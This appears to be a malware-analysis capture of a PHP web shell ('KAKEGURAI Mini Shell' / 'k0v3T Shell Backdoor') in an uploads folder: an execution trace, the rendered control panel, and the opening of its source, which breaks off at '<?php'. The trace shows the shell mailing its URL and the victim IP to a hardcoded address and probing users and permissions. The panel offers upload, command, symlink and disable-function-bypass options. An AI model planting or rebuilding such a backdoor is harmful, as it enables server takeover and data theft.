3 6 0 0.002403 707592 ini_set 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 1 2 'output_buffering' 0
3 6 1 0.002422 707664
3 6 R FALSE
3 7 0 0.002436 707592 ini_set 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 2 2 'display_errors' 0
3 7 1 0.002452 707664
3 7 R ''
3 8 0 0.002465 707592 set_time_limit 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 3 1 0
3 8 1 0.002481 707656
3 8 R FALSE
3 9 0 0.002494 707624 ini_set 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 4 2 'memory_limit' '64M'
3 9 1 0.002509 707728
3 9 R '128M'
3 10 0 0.002522 707624 header 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 5 1 'Content-Type: text/html; charset=UTF-8'
3 10 1 0.002540 707800
3 10 R NULL
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 6 $tujuanmail = 'satyaaji1945@gmail.com'
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 7 $x_path = 'http://localhost/uploads/Shell2.php'
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 8 $pesan_alert = 'fix http://localhost/uploads/Shell2.php :p *IP Address : [ 127.0.0.1 ]'
3 11 0 0.002596 707968 mail 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 9 4 'satyaaji1945@gmail.com' 'LOGGER' 'fix http://localhost/uploads/Shell2.php :p *IP Address : [ 127.0.0.1 ]' '[ 127.0.0.1 ]'
3 11 1 0.003544 708112
3 11 R FALSE
3 12 0 0.003575 707928 set_time_limit 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 10 1 0
3 12 1 0.003594 707960
3 12 R FALSE
3 13 0 0.003609 707928 error_reporting 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 11 1 0
3 13 1 0.003623 707968
3 13 R 22527
3 14 0 0.003636 707928 get_magic_quotes_gpc 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 22 0
3 14 1 0.003651 707928
3 14 R FALSE
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 55 $nick = 'k0v3T'
3 15 0 0.003685 707928 getcwd 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 59 0
3 15 1 0.003700 707976
3 15 R '/var/www/html/uploads'
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 59 $path = '/var/www/html/uploads'
3 16 0 0.003727 707976 getenv 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 61 1 'SERVER_SOFTWARE'
3 16 1 0.003746 708056
3 16 R 'Apache/2.4.52 (Ubuntu)'
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 61 $software = 'Apache/2.4.52 (Ubuntu)'
3 17 0 0.003774 708024 str_replace 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 62 3 '\\' '/' '/var/www/html/uploads'
3 17 1 0.003791 708120
3 17 R '/var/www/html/uploads'
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 62 $path = '/var/www/html/uploads'
3 18 0 0.003817 708024 explode 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 63 2 '/' '/var/www/html/uploads'
3 18 1 0.003833 708600
3 18 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 63 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3 19 0 0.003867 708528 function_exists 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 68 1 'posix_getegid'
3 19 1 0.003882 708568
3 19 R TRUE
3 20 0 0.003895 708528 posix_geteuid 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 74 0
3 20 1 0.003909 708528
3 20 R 33
3 21 0 0.003921 708528 posix_getpwuid 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 74 1 33
3 21 1 0.003957 709360
3 21 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 74 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3 22 0 0.004002 709328 posix_getegid 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 75 0
3 22 1 0.004015 709328
3 22 R 33
3 23 0 0.004027 709328 posix_getgrgid 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 75 1 33
3 23 1 0.004056 709992
3 23 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 75 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 76 $user = 'www-data'
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 77 $uid = 33
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 78 $group = 'www-data'
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 79 $gid = 33
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 83 $id = 0
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 85 $a = TRUE
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 83 $id = 1
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 83 $id = 2
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 83 $id = 3
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 83 $id = 4
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 91 $i++
3 24 0 0.004370 708608 scandir 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 723 1 '/var/www/html/uploads'
3 24 1 0.004409 709232
3 24 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'Shell2.php', 4 => 'data', 5 => 'prepend.php']
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 723 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'Shell2.php', 4 => 'data', 5 => 'prepend.php']
3 25 0 0.004450 709248 is_dir 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 733 1 '/var/www/html/uploads/.'
3 25 1 0.004468 709312
3 25 R TRUE
3 26 0 0.004483 709280 is_dir 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 733 1 '/var/www/html/uploads/..'
3 26 1 0.004499 709328
3 26 R TRUE
3 27 0 0.004512 709288 is_dir 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 733 1 '/var/www/html/uploads/.htaccess'
3 27 1 0.004529 709328
3 27 R FALSE
3 28 0 0.004542 709296 is_dir 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 733 1 '/var/www/html/uploads/Shell2.php'
3 28 1 0.004558 709344
3 28 R FALSE
3 29 0 0.004571 709296 is_dir 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 733 1 '/var/www/html/uploads/data'
3 29 1 0.004586 709328
3 29 R TRUE
3 30 0 0.004601 709288 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 739 1 '/var/www/html/uploads/data'
3 30 1 0.004620 709328
3 30 R TRUE
3 31 0 0.004635 709288 perms 1 /var/www/html/uploads/Shell2.php(89) : eval()'d code 741 1 '/var/www/html/uploads/data'
4 32 0 0.004650 709288 fileperms 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 1 '/var/www/html/uploads/data'
4 32 1 0.004665 709328
4 32 R 16895
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 $perms = 16895
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 819 $info = 'd'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 833 $info .= 'w'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 836 $info .= 'x'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 840 $info .= 'w'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 843 $info .= 'x'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 847 $info .= 'w'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 850 $info .= 'x'
3 31 1 0.004796 709328
3 31 R 'drwxrwxrwx'
3 33 0 0.004811 709288 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 742 1 '/var/www/html/uploads/data'
3 33 1 0.004827 709328
3 33 R TRUE
3 34 0 0.004852 709264 is_dir 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 733 1 '/var/www/html/uploads/prepend.php'
3 34 1 0.004870 709312
3 34 R FALSE
3 35 0 0.004894 709256 is_file 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 761 1 '/var/www/html/uploads/.'
3 35 1 0.004911 709280
3 35 R FALSE
3 36 0 0.004925 709248 is_file 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 761 1 '/var/www/html/uploads/..'
3 36 1 0.004940 709296
3 36 R FALSE
3 37 0 0.004953 709256 is_file 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 761 1 '/var/www/html/uploads/.htaccess'
3 37 1 0.004968 709296
3 37 R TRUE
3 38 0 0.004981 709256 filesize 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 762 1 '/var/www/html/uploads/.htaccess'
3 38 1 0.004995 709296
3 38 R 64
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 762 $size = 0.0625
3 39 0 0.005021 709200 round 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 763 2 0.0625 3
3 39 1 0.005036 709272
3 39 R 0.063
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 763 $size = 0.063
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 767 $size = '0.063 KB'
3 40 0 0.005080 709296 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 775 1 '/var/www/html/uploads/.htaccess'
3 40 1 0.005098 709336
3 40 R FALSE
3 41 0 0.005111 709296 is_readable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 776 1 '/var/www/html/uploads/.htaccess'
3 41 1 0.005127 709336
3 41 R TRUE
3 42 0 0.005141 709296 perms 1 /var/www/html/uploads/Shell2.php(89) : eval()'d code 777 1 '/var/www/html/uploads/.htaccess'
4 43 0 0.005154 709296 fileperms 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 1 '/var/www/html/uploads/.htaccess'
4 43 1 0.005168 709336
4 43 R 33188
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 $perms = 33188
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 813 $info = '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 833 $info .= 'w'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 836 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 840 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 843 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 847 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 850 $info .= '-'
3 42 1 0.005294 709336
3 42 R '-rw-r--r--'
3 44 0 0.005308 709296 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 778 1 '/var/www/html/uploads/.htaccess'
3 44 1 0.005324 709336
3 44 R FALSE
3 45 0 0.005337 709296 is_readable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 778 1 '/var/www/html/uploads/.htaccess'
3 45 1 0.005353 709336
3 45 R TRUE
3 46 0 0.005367 709304 is_file 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 761 1 '/var/www/html/uploads/Shell2.php'
3 46 1 0.005382 709352
3 46 R TRUE
3 47 0 0.005395 709312 filesize 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 762 1 '/var/www/html/uploads/Shell2.php'
3 47 1 0.005408 709352
3 47 R 54046
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 762 $size = 52.779296875
3 48 0 0.005433 709208 round 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 763 2 52.779296875 3
3 48 1 0.005447 709280
3 48 R 52.779
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 763 $size = 52.779
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 767 $size = '52.779 KB'
3 49 0 0.005485 709312 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 775 1 '/var/www/html/uploads/Shell2.php'
3 49 1 0.005501 709352
3 49 R FALSE
3 50 0 0.005515 709312 is_readable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 776 1 '/var/www/html/uploads/Shell2.php'
3 50 1 0.005530 709352
3 50 R TRUE
3 51 0 0.005543 709312 perms 1 /var/www/html/uploads/Shell2.php(89) : eval()'d code 777 1 '/var/www/html/uploads/Shell2.php'
4 52 0 0.005556 709312 fileperms 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 1 '/var/www/html/uploads/Shell2.php'
4 52 1 0.005570 709352
4 52 R 33204
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 $perms = 33204
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 813 $info = '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 833 $info .= 'w'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 836 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 840 $info .= 'w'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 843 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 847 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 850 $info .= '-'
3 51 1 0.005703 709352
3 51 R '-rw-rw-r--'
3 53 0 0.005718 709312 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 778 1 '/var/www/html/uploads/Shell2.php'
3 53 1 0.005778 709352
3 53 R FALSE
3 54 0 0.005793 709312 is_readable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 778 1 '/var/www/html/uploads/Shell2.php'
3 54 1 0.005809 709352
3 54 R TRUE
3 55 0 0.005824 709304 is_file 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 761 1 '/var/www/html/uploads/data'
3 55 1 0.005840 709336
3 55 R FALSE
3 56 0 0.005854 709304 is_file 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 761 1 '/var/www/html/uploads/prepend.php'
3 56 1 0.005870 709352
3 56 R TRUE
3 57 0 0.005883 709312 filesize 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 762 1 '/var/www/html/uploads/prepend.php'
3 57 1 0.005897 709352
3 57 R 57
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 762 $size = 0.0556640625
3 58 0 0.005922 709208 round 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 763 2 0.0556640625 3
3 58 1 0.005936 709280
3 58 R 0.056
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 763 $size = 0.056
2 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 767 $size = '0.056 KB'
3 59 0 0.006128 709312 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 775 1 '/var/www/html/uploads/prepend.php'
3 59 1 0.006149 709352
3 59 R FALSE
3 60 0 0.006163 709312 is_readable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 776 1 '/var/www/html/uploads/prepend.php'
3 60 1 0.006179 709352
3 60 R TRUE
3 61 0 0.006192 709312 perms 1 /var/www/html/uploads/Shell2.php(89) : eval()'d code 777 1 '/var/www/html/uploads/prepend.php'
4 62 0 0.006206 709312 fileperms 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 1 '/var/www/html/uploads/prepend.php'
4 62 1 0.006220 709352
4 62 R 33261
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 803 $perms = 33261
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 813 $info = '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 833 $info .= 'w'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 836 $info .= 'x'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 840 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 843 $info .= 'x'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 847 $info .= '-'
3 A /var/www/html/uploads/Shell2.php(89) : eval()'d code 850 $info .= 'x'
3 61 1 0.006349 709352
3 61 R '-rwxr-xr-x'
3 63 0 0.006364 709312 is_writable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 778 1 '/var/www/html/uploads/prepend.php'
3 63 1 0.006380 709352
3 63 R FALSE
3 64 0 0.006394 709312 is_readable 0 /var/www/html/uploads/Shell2.php(89) : eval()'d code 778 1 '/var/www/html/uploads/prepend.php'
3 64 1 0.006410 709352
3 64 R TRUE
2 5 1 0.006429 709248
1 3 1 0.006466 518528
0.006503 436232
TRACE END [2023-02-12 21:17:40.564541]
<html><head>
<link href="http://res7ock.org/assets/img/favicon.png" rel="shortcut icon" alt="icon">
<title>KAKEGURAI MINI SHELL</title>
</head><body><center><h1><font face="Sarpanch"> ⚜ KAKEGURAI Mini Shell ⚜</font></h1></center><font face="Sarpanch">
<meta name="author" content="KAKEGURAI">
<meta charset="UTF-8">
<link href="" rel="stylesheet" type="text/css">
<style>
body{
font-family: "Sarpanch", cursive;
background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
color:red;
background-attachment:fixed;
background-repeat:no-repeat;
background-position:center;
background-color:#000;
-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
#content .first{
background-color: #5ddcfc;
font-weight: bold;
}
H1{
color:#5ddcfc;
font-family: "Sarpanch", cursive;
}
#content .first:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
table{
border: 0px red solid;
}
a{
color: red;
text-decoration: none;
}
a:hover{
color: red;
text-shadow:1px 0px 0px #000;
}
.tombols{
background:black;
color:#5ddcfc;
border-top:0;
border-left:0;
border-right:0;
border: 2px white solid;
padding:5px 8px;
text-decoration:none;
font-family: 'Sarpanch', sans-serif;
border-radius:5px;
}
textarea{
color:#5ddcfc;
background-color:transparent;
font-weight: bold;
padding:5px 8px;
font-family: "Sarpanch", cursive;
border: 2px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input,select{
color:#5ddcfc;
background-color:black;
font-weight: bold;
font-family: "Sarpanch", cursive;
border: 2px white solid;
}
</style>
<link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">
<br><b><i><center><font color="#5ddcfc" size="3">Current Dir : </font><a href="?path=/">/</a><a href="?path=/var"><font color="red" size="3">var</font></a>/<a href="?path=/var/www"><font color="red" size="3">www</font></a>/<a href="?path=/var/www/html"><font color="red" size="3">html</font></a>/<hr color="#5ddcfc">
<br><center>
<font size="3"><a href="?" class="tombols">Home</a>
<font size="3"><a href="?path=/var/www/html&a=upload" class="tombols">Upload</a>
<font size="3"><a href="?path=/var/www/html&a=cmd" class="tombols">Command</a>
<font size="3"><a href="?path=/var/www/html&a=configv2" class="tombols">Config</a>
<font size="3"><a href="?path=/var/www/html&a=jumping" class="tombols">Jumping</a>
<br><br>
<font size="3"><a href="?path=/var/www/html&a=symlink" class="tombols">Symlink</a>
<font size="3"><a href="?path=/var/www/html&a=disablefunc" class="tombols">Bypass Disable Function</a>
</font></font></font></font></font></font></font></center><font size="3"><font size="3"><font size="3"><br>
<hr color="#5ddcfc"><center><br><center></center><div id="content"><b></b><b></b><b></b><b></b><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center><font color="black" size="3">Name</font></center></td>
<td><center><font color="black" size="3">Size</font></center></td>
<td><center><font color="black" size="3">Permissions</font></center></td>
<td><center><font color="black" size="3">Options</font></center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">
<a href="?filesrc=/var/www/html/Shell2.php&path=/var/www/html"><font color="red">Shell2.php</font></a></td>
<td><center><font color="Red">52.779 KB</font></center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value="Select">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="Shell2.php">
<input type="hidden" name="path" value="/var/www/html/Shell2.php">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">
<a href="?filesrc=/var/www/html/beneri.se_malware_analysis&path=/var/www/html"><font color="red">beneri.se_malware_analysis</font></a></td>
<td><center><font color="Red">0 KB</font></center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value="Select">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><br><center><font size="3" ;="" color="red">k0v3T Shell Backdoor V.01<br><font size="4" ;="" color="#5ddcfc">Copyright © <font color="red">Indonesian Hacker Community</font><br>
</font></font></center></center></font></font></font></center></i></b></font></body></html>
<html>
<head>
<link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
<title>KAKEGURAI MINI SHELL</title>
<center><h1><font face="Sarpanch"> ⚜ KAKEGURAI Mini Shell ⚜</h1></center>
<meta name='author' content='KAKEGURAI'>
<meta charset="UTF-8">
<link href="" rel="stylesheet" type="text/css">
<style>
body{
font-family: "Sarpanch", cursive;
background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
color:red;
background-attachment:fixed;
background-repeat:no-repeat;
background-position:center;
background-color:#000;
-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
#content .first{
background-color: #5ddcfc;
font-weight: bold;
}
H1{
color:#5ddcfc;
font-family: "Sarpanch", cursive;
}
#content .first:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
table{
border: 0px red solid;
}
a{
color: red;
text-decoration: none;
}
a:hover{
color: red;
text-shadow:1px 0px 0px #000;
}
.tombols{
background:black;
color:#5ddcfc;
border-top:0;
border-left:0;
border-right:0;
border: 2px white solid;
padding:5px 8px;
text-decoration:none;
font-family: 'Sarpanch', sans-serif;
border-radius:5px;
}
textarea{
color:#5ddcfc;
background-color:transparent;
font-weight: bold;
padding:5px 8px;
font-family: "Sarpanch", cursive;
border: 2px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input,select{
color:#5ddcfc;
background-color:black;
font-weight: bold;
font-family: "Sarpanch", cursive;
border: 2px white solid;
}
</style>
</head>
<link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">
<?php
